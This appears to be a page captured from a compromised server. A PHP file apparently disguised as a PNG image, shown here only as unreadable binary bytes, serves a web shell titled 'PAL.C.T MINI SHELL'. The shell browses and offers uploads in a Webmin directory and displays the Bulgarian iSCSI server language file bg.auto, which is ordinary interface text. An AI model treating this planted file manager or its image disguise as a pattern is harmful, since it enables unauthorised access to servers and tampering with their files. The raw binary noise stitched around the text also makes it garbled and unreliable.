php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/iscsi-server/lang/
upload
files >> //usr/libexec/webmin/iscsi-server/lang/bg.auto

check_etargets=Конфигурационният файл iSCSI сървър $1 не беше намерен във вашата система.
check_eserver=Програмата iSCSI сървър $1 не беше намерена във вашата система.

index_title=iSCSI сървър
index_clink=Може би не е инсталиран или вашата <a href='$1'>конфигурация на модул</a> е неправилна.
index_stop=Спрете iSCSI сървъра
index_stopdesc=Щракнете върху този бутон, за да спрете работещия iSCSI сървър. Всички споделени устройства вече няма да бъдат достъпни за клиенти.
index_start=Стартирайте iSCSI Server
index_startdesc=Кликнете върху този бутон, за да стартирате iSCSI сървъра, така че споделените устройства да са достъпни за клиентите.
index_restart=Рестартирайте iSCSI Server
index_restartdesc=Щракнете върху този бутон, за да приложите текущата конфигурация, като рестартирате iSCSI сървъра.
index_atboot=Започнете от зареждане?
index_atbootdesc=Променете тази опция, за да контролирате дали iSCSI сървърът е стартиран по време на зареждане или не. Ако в момента не е стартиран при стартиране и е избран Да, ще бъде създаден нов скрипт за init.
index_return=индекс на модула

extents_title=Устройства за споделяне
extents_none=Все още не са създадени устройства за споделяне.
extents_name=Име на устройството
extents_file=Път или файл
extents_start=Начало на степен
extents_size=Размер на степента
extents_add=Добавете ново устройство за споделяне.
extents_delete=Изтрийте избраните устройства
extents_return=списък на устройствата за споделяне
extents_derr=Изтриването на устройствата не бе успешно
extents_denone=Няма избран
extents_einuse=Устройството $1 не може да бъде изтрито, тъй като се използва от : $2 
extents_drusure=Сигурни ли сте, че искате да премахнете следните устройства: $1 ? Съдържанието им ще бъде запазено, но те вече няма да бъдат достъпни за клиенти на iSCSI.
extents_sure=Изтриване на устройства

extent_create=Създайте устройство за споделяне
extent_edit=Редактирайте устройството за споделяне
extent_egone=Устройство за споделяне $1 не съществува!
extent_header=Подробности за устройството за споделяне
extent_name=Име на устройството
extent_device=Файл или диск устройство за споделяне
extent_start=Начало на степен за споделяне
extent_size=Размер на степента за споделяне
extent_size_def1=Цял файл или устройство
extent_size_def0=Определен размер
extent_part=Локален дисков дял
extent_raid=RAID устройство
extent_md=RAID устройство $1 
extent_lvm=LVM логически том
extent_lv=LVM VG $1, LV $2 
extent_other=Друг файл или устройство
extent_rusure=Сигурни ли сте, че искате да изтриете споделеното устройство $1 ? Съдържанието му ще бъде запазено, но вече няма да е достъпно за клиенти на iSCSI.
extent_sure=Изтриване на устройството
extent_err=Неуспешно запазване на устройството за споделяне
extent_derr=Изтриването на устройството за споделяне не бе успешно
extent_eother=Файл за споделяне не съществува
extent_estart=Началото на степен трябва да е число
extent_esize=Размерът на степента трябва да е число
extent_esizemax=Краят на степента не може да бъде по-голям от размера на устройството $1 
extent_einuse=Това устройство не може да бъде изтрито, тъй като се използва от : $1 

devices_title=Комбинации от устройства
devices_none=Все още не са създадени комбинации от устройства.
devices_name=Име на комбинацията
devices_mode=Комбиниран тип
devices_mode_raid0=Линеен (RAID0)
devices_mode_raid1=Репликиран (RAID1)
devices_extents=Устройства членове
devices_add=Добавете нова комбинация от устройства.
devices_delete=Изтрийте избраните комбинации
devices_return=списък на комбинации от устройства
devices_derr=Изтриването на комбинации от устройства не бе успешно
devices_denone=Няма избран
devices_einuse=Комбинацията $1 не може да бъде изтрита, тъй като се използва от : $2 
devices_drusure=Сигурни ли сте, че искате да премахнете следните комбинации от устройства: $1 ? Съдържанието им ще бъде запазено, но те вече няма да бъдат достъпни за клиенти на iSCSI.
devices_sure=Изтриване на комбинации от устройства

device_create=Създайте комбинация от устройства
device_edit=Редактиране на комбинация от устройства
device_egone=Комбинация от устройства $1 не съществува!
device_header=Подробности за комбинацията от устройства
device_name=Име на комбинацията от устройства
device_mode=Комбиниран тип
device_extents=Устройства членове
device_poss=Всички налични устройства
device_got=Устройства членове
device_err=Неуспешно запазване на комбинацията от устройства
device_derr=Изтриването на комбинацията от устройства не бе успешно
device_rusure=Сигурни ли сте, че искате да изтриете комбинацията от устройства $1 ? Съдържанието му ще бъде запазено, но вече няма да е достъпно за клиенти на iSCSI.
device_sure=Изтриване на комбинация от устройства
device_einuse=Тази комбинация от устройства не може да бъде изтрита, тъй като се използва от : $1 
device_eextents=Няма избрани устройства членове
device_eself=Едно от избраните устройства-членове съдържа това устройство!

targets_title=Споделяне на цели
targets_none=Все още не са създадени цели за споделяне.
targets_name=Име на целта
targets_flags=Режим на споделяне
targets_flags_ro=Само за четене
targets_flags_rw=Чети пиши
targets_export=Споделяне
targets_network=Споделете с мрежата
targets_add=Добавете нова цел за споделяне.
targets_delete=Изтрийте избраните цели
targets_return=списък на цели за споделяне
targets_derr=Изтриването на цели за споделяне не бе успешно
targets_denone=Няма избран
targets_drusure=Сигурни ли сте, че искате да премахнете следните цели за споделяне: $1 ? Няма да бъдат загубени данни, но те вече няма да бъдат достъпни за iSCSI клиенти.
targets_sure=Изтриване на цели за споделяне

target_create=Създайте цели за споделяне
target_edit=Редактиране на цели за споделяне
target_egone=Целта за споделяне $1 не съществува!
target_header=Подробности за целта за споделяне
target_name=Споделяне на целевото име
target_flags=Режим на достъп
target_export=Устройство или комбинация
target_network=Споделете с мрежата
target_network_all=Всички мрежи
target_network_net=Само мрежа
target_err=Целта за споделяне не бе запазена
target_derr=Изтриването на целта за споделяне не бе успешно
target_rusure=Сигурни ли сте, че искате да изтриете целта за споделяне $1 ? Няма да бъдат загубени данни, но те вече няма да бъдат достъпни за iSCSI клиенти.
target_sure=Изтриване на целта
target_enetwork=Липсваща или невалидна мрежа за споделяне
target_emask=Липсваща или невалидна маска за споделяне

opts_title=Опции на iSCSI сървъра
opts_header=Опции за всички iSCSI цели
opts_ip4=Приемете IPv4 връзки
opts_ip6=Приемете IPv6 връзки
opts_name=Име, видимо за клиентите
opts_namedef=По подразбиране (име на хост на системата)
opts_port=Слушай на пристанище
opts_sess=Максимум едновременни сесии
opts_err=Опциите за запазване не бяха успешни
opts_ename=Липсващо или невалидно име - разрешени са само букви, цифри, тире, точка и подчертаване
opts_eport=Липсващ или неномерен номер на порта
opts_esess=Липсващи или нечислени максимални сесии

manual_title=Редактиране на конфигурационен файл
manual_desc=Използвайте текстовото поле по-долу, за да редактирате конфигурационния файл на iSCSI сървъра $1. Внимавайте, тъй като няма да бъде извършена проверка на вашия вход!
manual_err=Конфигурационният файл не бе запазен
manual_edata=Няма въведено съдържание!

users_title=iSCSI Удостоверяване
users_none=Все още не са създадени iSCSI потребители. Клиентите ще имат достъп до споделени устройства без удостоверяване.
users_add=Добавете нов потребител на iSCSI.
users_delete=Изтриване на избраните потребители
users_name=Потребител
users_mode=Метод за удостоверяване
users_return=списък на потребителите

user_create=Създаване на iSCSI потребител
user_edit=Редактиране на iSCSI потребител
user_header=iSCSI данни за потребителя
user_user=Потребителско име на клиента
user_mode=Метод за удостоверяване
user_pass=Парола на клиента
user_egone=Потребителят вече не съществува!
user_err=Неуспешно запазване на iSCSI потребителя
user_euser=Липсващо или невалидно потребителско име - интервалите и колоните не са разрешени
user_epass=Липсваща или невалидна парола - интервалите и колоните не са разрешени

desc_extent=Устройство за споделяне $1 
desc_device=Комбинация от устройства $1 
desc_target=Споделяне на целта $1 

start_err=Неуспешно стартиране на iSCSI сървър
stop_err=Спирането на iSCSI сървъра не бе успешно
restart_err=Неуспешно рестартиране на iSCSI сървъра
atboot_err=Неуспешно активиране при стартиране

log_create_extent=Създадено устройство за споделяне $1 
log_modify_extent=Актуализирано устройство за споделяне $1 
log_delete_extent=Изтрито устройство за споделяне $1 
log_create_device=Създадена комбинация от устройства $1 
log_modify_device=Актуализирана комбинация от устройства $1 
log_delete_device=Изтрита комбинация от устройства $1 
log_create_target=Създадена цел за споделяне $1 
log_modify_target=Актуализирана цел за споделяне $1 
log_delete_target=Изтрита цел за споделяне $1 
log_delete_extents=Изтрити $1 устройства за споделяне
log_delete_devices=Изтрити са $1 комбинации от устройства
log_delete_targets=Изтрити $1 цели за споделяне
log_start=Стартиран iSCSI сървър
log_stop=Спиран iSCSI сървър
log_restart=Рестартиран iSCSI сървър
log_atboot=Активиран iSCSI сървър по време на стартиране
log_delboot=Деактивиран iSCSI сървър по време на зареждане
log_manual=Ръчно редактиран конфигурационен файл
log_create_user=Създаден потребител на iSCSI $1 
log_modify_user=Актуализиран потребител на iSCSI $1 
log_delete_user=Изтрити iSCSI потребител $1 
log_delete_users=Изтрити $1 потребители на iSCSI
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`